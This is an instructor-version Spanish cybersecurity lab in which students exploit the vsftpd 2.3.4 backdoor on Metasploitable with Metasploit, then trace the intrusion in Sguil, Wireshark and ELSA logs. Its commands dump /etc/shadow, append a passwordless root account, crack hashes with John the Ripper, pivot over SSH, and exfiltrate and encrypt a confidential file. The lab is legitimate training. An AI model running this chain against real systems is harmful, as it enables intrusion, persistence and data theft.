12.4.1.2 Práctica de laboratorio: Host comprometido aislado utilizando el método de cinco tuplas

Última actualización: octubre 18, 2022

12.4.1.2 Práctica de laboratorio: Host comprometido aislado utilizando el método de cinco tuplas (versión para el instructor)

Nota para el instructor: Los elementos con color de fuente rojo o resaltados en gris indican texto que aparece solo en la copia del instructor.

Topología

Objetivos

En esta práctica de laboratorio revisarán archivos de registro durante el ataque a una vulnerabilidad documentada para determinar los hosts y el archivo comprometidos.

Parte 1: Preparar el entorno virtual
Parte 2: Reconocimiento
Parte 3: Ataque
Parte 4: Infiltración
Parte 5: Revisar los archivos de registro

Antecedentes / Escenario

Los administradores de TI utilizan 5-Tuple cuando necesitan identificar los requisitos necesarios para crear un entorno de red operativo y seguro. Los componentes de 5-Tuple son los siguientes: la dirección IP y el número de puerto de origen, la dirección IP y el número de puerto de destino y el protocolo en uso.
En esta práctica de laboratorio atacarán un servidor vulnerable con ataques conocidos.

También revisarán los archivos de registro para determinar los hosts y el archivo afectados.

Recursos necesarios

  • Servidor con al menos 8 GB de RAM y 35 GB de espacio libre en disco.
  • Versión más reciente de Oracle VirtualBox
  • Conexión a Internet
  • Cuatro máquinas virtuales:
Máquina virtual RAM Espacio en disco Usuario Contraseña
VM CyberOps Workstation 1GB 7GB analyst cyberops
Kali 1GB 10GB Raíz cyberops
Metasploitable 512KB 8GB msfadmin msfadmin
Security Onion 3 GB 10GB analyst cyberops

Parte 1: Preparar el entorno virtual

a. Abran Oracle VirtualBox.

b. En la ventana de CyberOps Workstation, verifiquen que la red esté definida en Internal Network (Red interna). Seleccionen Machine > Settings > Network (Máquina > Configuración > Red). En Attached To (Conectada a), seleccionen Internal Network. En el menú desplegable junto a Nombre, seleccione interna; luego, haga clic en Aceptar.

c. Abran las máquinas virtuales CyberOps Workstation, Kali, Metasploitable y Security Onion e inicien sesión en ellas.

d. En la VM CyberOps Workstation VM, abran un terminal y configuren la red; para ello, ejecuten el script sh.

Como el script requiere privilegios de usuario avanzado, introduzcan la contraseña correspondiente al usuario analyst.

[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] contraseña para analyst: 
Configurar la NIC de la siguiente manera:
IP: 192.168.0.11/24
GW: 192.168.0.1

Configuración de IP exitosa.
[analyst@secOps ~]$

e. En la VM Security Onion, hagan clic derecho en el Escritorio > Open Terminal Here (Abrir terminal aquí). Introduzca el comando sudo service nsm status para verificar que todos los servidores y sensores estén listos. Este proceso podría demorar unos instantes. Si algunos servicios reportan una falla (FAIL), repitan el comando según sea necesario hasta que todos los estados sean OK antes de pasar a la parte siguiente.

analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server [  OK  ]
Status: HIDS
  * ossec_agent (sguil) [  OK  ]
Status: Bro
Name            Type    Host           Status    Pid    Started
manager         manager localhost      running   5577   26 Jun  10:04:27
proxy           proxy   localhost      running   5772   26 Jun  10:04:29
seconion-eth0-1 worker  localhost      running   6245   26 Jun  10:04:33
seconion-eth1-1 worker  localhost      running   6247   26 Jun  10:04:33
seconion-eth2-1 worker  localhost      running   6246   26 Jun  10:04:33
Status: seconion-eth0
  * netsniff-ng (full packet data) [  OK  ]
  * pcap_agent (sguil) [  OK  ]
  * snort_agent-1 (sguil) [  OK  ]
  * snort-1 (alert data) [  OK  ]
  * barnyard2-1 (spooler, unified2 format) [  OK  ]
<output omitted>

Parte 2: Reconocimiento

En esta parte utilizarán nmap para determinar si la VM Metasploitable tiene alguna vulnerabilidad asociada con vsftpd versión 2.3.4.

a. En la VM Security Onion, introduzcan date para mostrar la fecha y hora.

analyst@SecOnion:~/Desktop$ date

Registren su fecha y hora.
Las respuestas pueden variar.

b. En la VM Kali, hagan clic derecho en el escritorio y seleccionen Open Terminal (Abrir terminal).

c. Con las opciones de nmap, utilizarán un script para probar si hay alguna vulnerabilidad FTP en la VM Metasploitable VM en 209.165.200.235. Introduzcan el siguiente comando:

root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason > ftpd.txt

Los resultados se redireccionan y se guardan en el archivo de texto ftpd.txt. Este proceso demorará unos instantes.

d. Cuando retorne el cursor, abran el archivo de texto que contiene los resultados de nmap.

root@kali:~# cat ftpd.txt

En el resultado se ve la vulnerabilidad vsftpd y otros puertos abiertos que son detectados por nmap en la VM Metasploitable. En esta práctica de laboratorio atacarán la vulnerabilidad con el puerto 21.

Starting Nmap 7.40 ( https://nmap.org ) at 11/07/2017 11:34 EDT
Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| Id:    OSVDB:73573 CVE:CVE-2011-2523
|vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|Disclosure date: 2011-07-03
|Exploit results:
|Shell command: id
|Results: uid=0(root) gid=0(root)
|References:
|http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|http://osvdb.org/73573
<output omitted>

Parte 3: Explotación

Ahora que han determinado que pudieron obtener acceso raíz a la VM Metasploitable, atacarán la vulnerabilidad vsftp para obtener el control total de la VM Metasploitable. Afectarán al archivo /etc/shadow para poder obtener acceso a los otros hosts de la red.

Paso 1: Configurar el ataque

En este paso utilizarán Metasploit Framework para iniciar el ataque contra la VM Metasploitable por medio de vsftpd. Metasploit Framework es una herramienta diseñada para desarrollar e iniciar ataques contra un host objetivo remoto. También se puede utilizar para probar la vulnerabilidad de un host.

a. En un terminal de la VM Kali, introduzca msfconsole en el indicador para iniciar el marco Metasploit. Esto demorará unos instantes.

root@kali:~# msfconsole

b. En el indicador msf, escriba search vsftpd para buscar el módulo asociado con la puerta trasera VSFTPD v2.3.4. Utilizarán este módulo para el ataque. Esta búsqueda demorará unos instantes mientras se genera la base de datos por primera vez.

msf > search vsftpd
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                               Disclosure Date  Rank       Description
   ----                               ---------------  ----       -----------
exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

c. Se encontró el ataque. Introduzcan el siguiente comando en el cursor para utilizar el ataque de puerta trasera vsftp.

msf > use exploit/unix/ftp/vsftpd_234_backdoor

d. En el cursor del ataque, definan el host objetivo como la VM Metasploitable.

msf exploit(vsftpd_234_backdoor) > set rhost 209.165.200.235
rhost => 209.165.200.235

e. Verifiquen la configuración del ataque. Introduzcan show options en el cursor.

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  209.165.200.235  yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:
 Nombre de ID
   --  ----
   0   Automatic

Paso 2: Ejecutar el ataque

Ahora utilizarán el ataque vsftpd para obtener acceso raíz a la VM Metaspoitable.

a. Introduzcan el comando exploit en el indicador para ejecutar el ataque.

msf exploit(vsftpd_234_backdoor) > exploit

[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 209.165.200.235:21 - USER: 331 Please specify the password.
[+] 209.165.200.235:21 - Backdoor service has been spawned, handling...
[+] 209.165.200.235:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (209.165.201.17:33985 -> 209.165.200.235:6200) at 2017-07-11 11:53:35 -0400
<No se muestra ningún indicador del sistema>

b. Con esto se ingresa al terminal de Metasploit Framework y ahora podrán tener acceso raíz a la VM Metasploitable desde el host Kali. Observen que no se muestra ningún cursor del sistema. Introduzcan whoami para verificar que tienen acceso raíz a la VM Metasploitable.

whoami

¿Cuál es el nombre de usuario actual?
root

c. Introduzcan hostname para verificar el nombre del host.

hostname

¿Cuál es el nombre del host?
metasploitable

d. La dirección IP de la VM Metasploit es 209.165.200.235. Introduzcan ifconfig para verificar la dirección IP en el host actual.

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:15:91:86
inet addr:209.165.200.235  Bcast:209.165.200.255 Mask:255.255.255.224
          inet6 addr: fe80::a00:27ff:fe15:9186/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:78058 errors:2 dropped:0 overruns:0 frame:0
          TX packets:195672 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11803523 (11.2 MB)  TX bytes:91415071 (87.1 MB)
          Interrupt:10 Base address:0xd020 

lo        Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1048 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1048 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:450261 (439.7 KB)  TX bytes:450261 (439.7 KB)

e. Para obtener el control total de la VM Metasploitable, lo primero que tiene que hacer es mostrar el contenido del archivo /etc/shadow. En el archivo /etc/shadow se guarda la información de la contraseña en un formato cifrado para las cuentas del sistema, junto con información opcional sobre la antigüedad.

Introduzca el comando cat /etc/shadow para mostrar el contenido.

cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
<some output omitted>
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
analyst:$1$uvEqE7eT$x6gczc318aD6mhxOFZqXE.:17338:0:99999:7:::

f. Resalten el contenido de /etc/shadow, hagan clic derecho sobre el contenido resaltado y seleccionen Copy (Copiar).

g. Abran un terminal nuevo en la VM Kali e inicien el editor de texto nano. Escriba nano /root/shadow.txt en el indicador.

root@kali:~# nano /root/shadow.txt

h. Hagan clic derecho sobre el espacio en blanco en nano y seleccionen Paste (Pegar). Después de haber pegado el contenido, quite todas las líneas en blanco de la parte inferior, si es necesario. Presione Ctrl-X para guardar y salir de nano. Presionen y cuando el sistema les pida guardar el archivo y aceptar el nombre de archivo shadow.txt.

Este archivo /root/shadow.txt guardado se utilizará en un paso siguiente con John the Ripper para decodificar las contraseñas de los nombres de inicio de sesión y así poder acceder al sistema en forma remota a través de SSH.

i. En el mismo terminal, introduzcan el comando cat y grep para mostrar solo los detalles correspondientes al usuario root.

root@kali@~# cat /root/shadow.txt | grep root
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::

Observen que el signo de dos puntos (:) separa cada línea en 9 campos. Si utilizamos la cuenta del usuario root como ejemplo, root es el nombre de inicio de sesión y $1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. es la contraseña cifrada. En los siguientes 6 campos se definen las configuraciones correspondientes a la contraseña, como la fecha del último cambio, la antigüedad mínima y máxima de la contraseña y su fecha de vencimiento. El último campo se reserva para uso futuro.

Para obtener más información sobre el archivo /etc/shadow, escriba man shadow en un indicador del terminal.

j. Regresen al terminal de Metasploit Framework en la VM Kali. Agregarán un usuario nuevo myroot a la VM Metasploitable. Este usuario tendrá las mismas configuraciones de la contraseña que root.

Cuando estén creando el usuario nuevo utilizarán los mismos 9 campos que el usuario root; pero eliminarán la contraseña cifrada asociada con el usuario root y dejarán vacío el campo de la contraseña. Cuando el campo de la contraseña está vacío no se necesita ninguna contraseña para iniciar sesión como el usuario myroot.

El comando echo anexará una línea nueva para agregar el usuario nuevo myroot al archivo /etc/shadow.

Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirá el archivo /etc/shadow actual.

echo "myroot::14747:0:99999:7:::" >> /etc/shadow

k. Verifiquen que hayan agregado el usuario nuevo myroot a /etc/shadow.

cat /etc/shadow
<output omitted>
myroot::14747:0:99999:7:::

¿Por qué fue necesario copiar el contenido del archivo /etc/shadow a un archivo de texto nuevo en la VM Kali?

Pista: ¿Qué sucedería si introdujera cat /etc/shadow > /root/shadow.txt en la consola de Metasploit Framework?
El archivo /root/shadow.txt se guardará en Metasploitable, en lugar de la máquina virtual de Kali.

l. Para permitir que myroot inicie sesión con privilegios elevados, agregará el usuario myroot con el mismo número de Id. de usuario (UID), el mismo número de Id. de grupo (GID) del usuario, la misma descripción del usuario, el mismo directorio de inicio del usuario y el mismo shell de inicio de sesión que el usuario root al archivo /etc/passwd. El signo de dos puntos (:) separa los campos, y la x del segundo campo representa la contraseña correspondiente al usuario. La contraseña cifrada se puede encontrar en el archivo /etc/shadow correspondiente al mismo usuario.

Regresen a la ventana del terminal de la conexión remota de Metasploitable e introduzcan el comando cat para ver la información correspondiente al usuario root.

cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash

m. Utilicen el siguiente comando echo para anexar la configuración correspondiente a myroot a /etc/password.

Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirán el archivo /etc/shadow actual.

echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd

Para obtener más información sobre el archivo /etc/passwd, escriban man 5 passwd en un cursor del terminal.

n. Verifiquen que hayan agregado el usuario nuevo myroot a /etc/passwd.

cat /etc/passwd
<output omitted>
myroot:x:0:0:root:/root:/bin/bash

Con acceso raíz, el usuario myroot tiene el control completo de la VM Metasploitable.

o. Escriban exit cuando hayan terminado.

exit

[*] 209.165.200.235 - Command shell session 1 closed.  Reason: Died from EOFError

msf exploit(vsftpd_234_backdoor) >

p. Presionen Intro y escriban quit para salir de la consola de Metasploit Framework.

Parte 4: Infiltración

Paso 1: Decodificar las contraseñas con John the Ripper

John the Ripper es una herramienta que se utiliza para averiguar las contraseñas débiles de los usuarios. En este paso utilizarán John the Ripper para decodificar contraseñas débiles.

a. En el cursor raíz de la VM Kali, verifiquen que el archivo shadow esté en la carpeta /root de la VM Kali.

b. En el indicador raíz de la VM de Kali, introduzca el comando john para decodificar las contraseñas. Utilicen la opción show para ver la confiabilidad de las contraseñas decodificadas.

Nota: Se agregó la contraseña cyberops al archivo /usr/share/john/password.lst para acelerar el proceso de decodificación de las contraseñas.

root@kali:~# john --show /root/shadow.txt 
analyst:cyberops:17338:0:99999:7:::

1 password hash cracked, 7 left

Después de haber decodificado la contraseña correspondiente al usuario analyst, podrán acceder a Metasploitable a través de SSH con analyst como nombre de inicio de sesión.

Paso 2: Encontrar el host objetivo

En este paso utilizarán diferentes comandos para encontrar la dirección IP de un posible host en la red interna detrás de la DMZ.

a. Establezcan una sesión de SSH a la VM Metasploitable. Escriba para aceptar la firma digital de RSA cuando se conecte por primera vez. La conexión puede demorar unos instantes. Introduzcan cyberops como la contraseña cuando se los solicite el sistema.

root@kali:~# ssh [email protected]
[email protected]'s password:

b. Verifiquen que tienen acceso raíz a Metasploitable. Escriban su -l myroot en el cursor. La opción es la letra minúscula L, no el número uno. Observen que el cursor pasó de analyst@metasploitable a root@metasploitable.

analyst@metasploitable:~$ su -l myroot
root@metasploitable:~#

c. Muestren el archivo /etc/shadow.

root@metasploitable:~# cat /etc/shadow

d. Escriban exit en el cursor para regresar a los privilegios de acceso del usuario analyst.

e. Ahora muestren el archivo /etc/shadow como analyst.

analyst@metasploitable:~$ cat /etc/shadow

¿Por qué recibieron un mensaje de error? Registren el mensaje y explíquenlo.
Solo el propietario raíz y el usuario en el grupo shadow pueden leer el archivo /etc/shadow; el usuario analyst no tiene permiso para leer el archivo como lo indica el comando ls -l /etc/shadow. Puede ser leído por el usuario myroot porque myroot tiene privilegios de raíz.

f. Escriban ifconfig para generar una lista de todas las interfaces de red presentes en Metasploitable.

analyst@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ab:84:07  
          inet addr:209.165.200.235  Bcast:209.165.200.255  Mask:255.255.255.224
          inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1610 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:117030 (114.2 KB)  TX bytes:123570 (120.6 KB)
          Interrupt:10 Base address:0xd020 
<output omitted>

g. Escriban ip route para determinar el gateway predeterminado correspondiente a esta red.

analyst@metasploitable:~$ ip route
209.165.200.224/27 dev eth0  proto kernel  scope link  src 209.165.200.235
default via 209.165.200.226 dev eth0  metric 100

¿Cuál es el gateway predeterminado?
209.165.200.226

h. En la misma ventana del terminal, establezcan otra sesión de SSH a la VM Security Onion VM en 209.165.200.226 (interfaz eth1) como el usuario analyst. Escriban yes (sí) para aceptar la firma digital de RSA cuando se conecten por primera vez. La conexión podría demorar unos instantes. Utilicen la contraseña cyberops cuando se les solicite.

analyst@metasploitable:~$ ssh [email protected]

i. Escriban ifconfig para ver la lista de interfaces de red.

analyst@SecOnion:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c3:cd:8c  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec3:cd8c/64 Scope:Link
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:656 (656.0 B)  TX bytes:9377 (9.3 KB)
<output omitted>

j. Han determinado que la subred correspondiente a la red LAN es 192.168.0.0/24. Ahora utilizarán un bucle for para determinar los hosts activos en la red LAN. Para ahorrar tiempo, solo harán ping a los primeros 15 hosts.

analyst@SecOnion:~$ for ((i=1;i<15;i+=1)); do ping -c 2 192.168.0.$i; done
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.027 ms
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.028/0.031/0.034/0.003 ms
<output omitted>
PING 192.168.0.11 (192.168.0.11) 56(84) bytes of data.
64 bytes from 192.168.0.11: icmp_seq=1 ttl=64 time=0.606 ms
64 bytes from 192.168.0.11: icmp_seq=2 ttl=64 time=0.262 ms

--- 192.168.0.11 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.262/0.434/0.606/0.172 ms
<output omitted>

k. Solo 192.168.0.1 (eth0 de Security Onion) y 192.168.0.11 (VM CyberOps Workstation) están respondiendo las solicitudes ping. Establezcan una sesión de SSH en la VM CyberOps Workstation. Escriban yes (sí) para aceptar la firma digital de RSA cuando se conecten por primera vez. Introduzcan cyberops como la contraseña.

analyst@SecOnion:~$ ssh 192.168.0.11

Paso 3: Exfiltrar un archivo confidencial

Ahora tienen acceso a la VM CyberOps Workstation a través de una serie de sesiones de SSH (VM Kali > VM Security Onion > VM CyberOps Workstation) utilizando la contraseña que se decodificó en un paso anterior. Ahora accederán a un archivo confidencial y exfiltrarán el contenido.

a. Verifiquen que están en el directorio de inicio de analyst. Pasen al directorio support.files.

[analyst@secOps ~]$ cd lab.support.files

b. Generen una lista de los archivos del directorio. Verifiquen que el archivo confidential.txt esté en la carpeta.

c. Establezcan una sesión de FTP para la máquina virtual de Metasploitable. Utilice el usuario predeterminado analyst e introduzca cyberops como contraseña.

[analyst@secOps lab.support.files]$ ftp 209.165.200.235
Connected to 209.165.200.235.
220 (vsFTPd 2.3.4)
Name (209.165.200.235:analyst): analyst
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

d. Carguen el archivo confidential.txt a la VM Metasplolitable. Ahora tienen acceso al archivo y pueden moverlo a la VM Kali para utilizarlo si así lo desean.

ftp> put confidential.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
103 bytes sent in 0.000104 seconds (41.6 kbytes/s)

e. Escriban quit cuando hayan terminado de transferir el archivo.

Paso 4: Cifrar los datos y quitar los originales

a. A menudo, los actores de amenazas cifran los datos confidenciales y los almacenan a nivel local, posiblemente para exigir un rescate más adelante. Compriman el archivo confidential.txt con Zip y cífrenlo. Introduzcan cyberops como la contraseña.

analyst@secOps lab.support.files]$ zip -e confidential.zip confidential.txt
Enter password:
Verify password:
 adding: confidential.txt (deflated 4%)

b. Quiten el archivo confidential.txt de la VM CyberOps Workstation.

[analyst@secOps lab.support.files]$ rm confidential.txt

c. Escriban exit tres veces hasta regresar al cursor root@kali:~#.

d. Ahora el atacante puede copiar el archivo desde el FTP de la VM Metasploitable a la VM Kali. Esto podría demorar unos instantes. Introduzcan la contraseña cyberops cuando el sistema se los solicite.

root@kali:~# scp [email protected]:/home/analyst/confidential.txt ~
[email protected]'s password:
confidential.txt   100%   102   102.1KB/s    00:00

Nota: Puede copiar el archivo directamente de la VM CyberOps Workstation a la VM Kali si hay alguna cuenta que no sea la de raíz configurada en la VM Kali. Como FTP transmite el contenido en texto plano, podrán verlo en los paquetes si utilizan Wireshark.

e. Si lo desean, pueden volver a iniciar sesión en Metasploitable y quitar el archivo confidential.txt del servidor FTP.

root@kali:~# ssh [email protected]
[email protected]'s password:
analyst@metasploitable:~$ rm confidential.txt

f. En este momento pueden apagar las máquinas virtuales Metasploitable, CyberOps Workstation y Kali.

Parte 5: Revisar los archivos de registro

Después del ataque, el usuario analyst ya no puede acceder al archivo de nombre confidential.txt. Ahora revisarán los archivos de registro para determinar de qué manera se vio afectado el archivo.

Nota: Si esta red fuese de producción, sería aconsejable que los usuarios analyst y root cambien sus contraseñas y cumplan con la política de seguridad vigente.

Paso 1: Revisar alertas en Sguil

a. Accedan a la VM Security Onion. Inicien sesión con el usuario analyst y la contraseña cyberops, si es necesario.

b. Abran Sguil e inicien sesión. Hagan clic en Select All (Seleccionar todo) y, luego, en Start SGUIL (Iniciar SGUIL).

c. Revisen los eventos que aparecen en la lista de la columna Event Message (Mensaje de eventos). Dos de los mensajes son GPL ATTACK_RESPONSE id check returned root. Este mensaje indica que es posible que se haya obtenido acceso raíz durante un ataque. El host de 209.165.200.235 devolvió el acceso raíz a 209.165.201.17. Seleccionen las casillas de verificación Show Packet Data (Mostrar datos del paquete) y Show Rule (Mostrar regla) para ver cada alerta más detalladamente.

d. Seleccionen el mensaje de raíz devuelto asociado con el Sensor seconion-eth1-1 para profundizar el análisis. En la figura de abajo, se utiliza el ID de alerta 5.2568 y sus eventos correlacionados. Sin embargo, es muy probable que sus ID de alerta sean otro número.

e. Hagan clic en el número que se encuentra debajo del encabezado CNT para seleccionar View Correlated Events (Ver eventos correlacionados).

f. En la ficha nueva, haga clic derecho sobre el ID de alerta correspondiente a una de las alertas GPL ATTACK_RESPONSE id check returned root y seleccione Transcripción. En este ejemplo se utiliza el ID de alerta 5.2570.

g. Revisen las transcripciones correspondientes a todas las alertas. En la última alerta de la ficha probablemente se mostrarán las transacciones entre Kali (actor de la amenaza) y Metasploitable (objetivo) durante el ataque.

¿Qué sucedió durante el ataque?
El atacante había obtenido acceso raíz a Metasploitable. Se agregó un usuario nuevo myroot sin ninguna contraseña al sistema.

Paso 2: Pasar a Wireshark

a. Seleccionen la alarma que les proporcionó la transcripción en el paso anterior. Hagan clic derecho sobre el ID de la alerta y seleccionen Wireshark. En la ventana principal de Wireshark se muestran 3 vistas de un paquete.

b. Para ver todos los paquetes ensamblados en una conversación de TCP, hagan clic derecho sobre cualquier paquete y seleccionen Follow TCP Stream (Seguir flujo de TCP).

¿Qué observaron? ¿Qué indican los colores de texto rojo y azul?
La secuencia TCP muestra la transacción entre Kali (agente de amenaza) que aparece en el texto en rojo y Metasploitable (destino) en el texto en azul. La información obtenida del flujo de TCP es la misma que la de la transcripción.

c. Salgan de la ventana del flujo de TCP. Cierren Wireshark cuando hayan terminado de revisar la información provista por Wireshark.

Paso 3: Utilizar ELSA para pasar a los archivos de registro de Bro

a. Regresen a Sguil. Haga clic derecho sobre la IP de origen o de destino correspondiente a la misma alerta GPL ATTACK_RESPONSE id check returned root y seleccione Búsqueda de IP con ELSA > DstIP. Introduzcan analyst como nombre de usuario y cyberops como contraseña cuando ELSA se los solicite.

Nota: Si ve el mensaje «Su conexión no es privada», haga clic en AVANZADAS > Proseguir al host local (inseguro) para continuar.

b. Hagan clic en bro_notice.

c. El resultado indica que 209.165.201.17 estaba realizando un escaneo de puertos en 209.165.200.235, la VM Metasploitable. El atacante probablemente encontró vulnerabilidades en la VM Metasploitable para obtener acceso.

d. Si un atacante se ha apoderado de Metasploitable, querrán determinar cuál fue el ataque que utilizó y a qué pudo acceder el atacante.

Paso 4: Regresar a Sguil para investigar el ataque

a. Diríjanse a Sguil y hagan clic en la ficha RealTime Events (Eventos en tiempo real). Localicen los eventos ET EXLOIT VSFTPD Backdoor User Login Smiley. Estos eventos son posibles ataques y tuvieron lugar dentro del período de acceso raíz no autorizado. En este ejemplo se utiliza el ID de alerta 5.2567.

b. Hagan clic derecho sobre el número que se encuentra debajo del encabezado de CNT y seleccionen View Correlated Events (Ver eventos correlacionados) para ver todos los eventos relacionados. Seleccionen el ID de alerta que comienza con 5. Esta alerta recopiló la información proveniente del sensor en la interfaz seconion-eth1-1.

c. En la ficha nueva con todos los eventos correlacionados, hagan clic derecho sobre el ID de alerta y seleccione Transcript (Transcripción) para ver cada alerta más detalladamente. En este ejemplo se utiliza el ID de alerta 5.2569. En la última alerta probablemente se mostrará la transmisión de TCP entre el atacante y la víctima.

d. También pueden hacer clic derecho sobre el ID de alerta y seleccionar Wireshark para revisar y guardar el archivo pcap y el flujo de TCP.

Paso 5: Utilizar ELSA para ver datos exfiltrados

a. Si quieren utilizar ELSA para obtener más información sobre la misma alerta de arriba, hagan clic derecho sobre la dirección IP de origen o sobre la de destino y seleccionen ELSA IP Lookup > DstIP.

b. Hagan clic en bro_ftp para ver los archivos de registro de ELSA relacionados con FTP.

c. ¿Qué archivo se transfirió por FTP a 209.165.200.235? ¿Quién es el dueño de la cuenta que se utilizó para transferir el archivo?
El archivo confidential.txt fue transferido por el usuario analyst.

d. Hagan clic en info para ver las transacciones en el último registro. El campo reply_msg indica que esta es la última entrada correspondiente a la transferencia del archivo confidential.txt. Hagan clic en Plugin > getPcap (Complemento > getPcap). Introduzcan el nombre de usuario analyst y la contraseña cyberops cuando el sistema se los solicite. Si es necesario, hagan clic en Submit (Enviar). CapMe es una interfaz web que les permite obtener una transcripción pcap y descargar el pcap.

La transcripción de pcap se traduce utilizando tcpflow, y esta página también proporciona el enlace para acceder al archivo pcap.

e. Para determinar el contenido del archivo afectado, hagan doble clic en el icono del escritorio para abrir ELSA y así abrir una ficha nueva y realizar otra búsqueda.

f. Expandan FTP y hagan clic en FTP Data (Datos de FTP). Hagan clic en uno de los enlaces de Información y seleccionen getPcap en el menú desplegable para determinar el contenido del archivo robado.

g. En el resultado se ve el contenido del archivo de nombre confidential.txt que se transfirió al servidor FTP.

Paso 6: Limpieza

Cierren todas las VM cuando hayan terminado.

Reflexión

En esta práctica de laboratorio han utilizado una vulnerabilidad para obtener acceso a información no autorizada y han revisado los archivos de registro como analistas especializados en ciberseguridad. Ahora resuman lo que aprendieron.

A partir de los archivos de registro de Sguil y ELSA se determinó que un atacante (209.165.201.17) aprovechó la vulnerabilidad vsftpd para obtener acceso raíz a 209.165.200.235. Utilizando el acceso raíz que obtuvo en el ataque, el delincuente agregó un usuario raíz nuevo myroot para obtener acceso raíz en el futuro. El atacante se apoderó del usuario analyst para obtener acceso a una estación de trabajo interna: 192.168.0.11. Utilizando la cuenta analyst, el atacante logró obtener acceso al archivo de nombre confidential.txt y lo transfirió por FTP a 209.165.200.235, dirección en la que tiene acceso remoto para recuperar el archivo.

Subscribe
Notify of
guest

0 Comments
Inline Feedbacks
View all comments
0
¿Tienes otra pregunta? Por favor comentax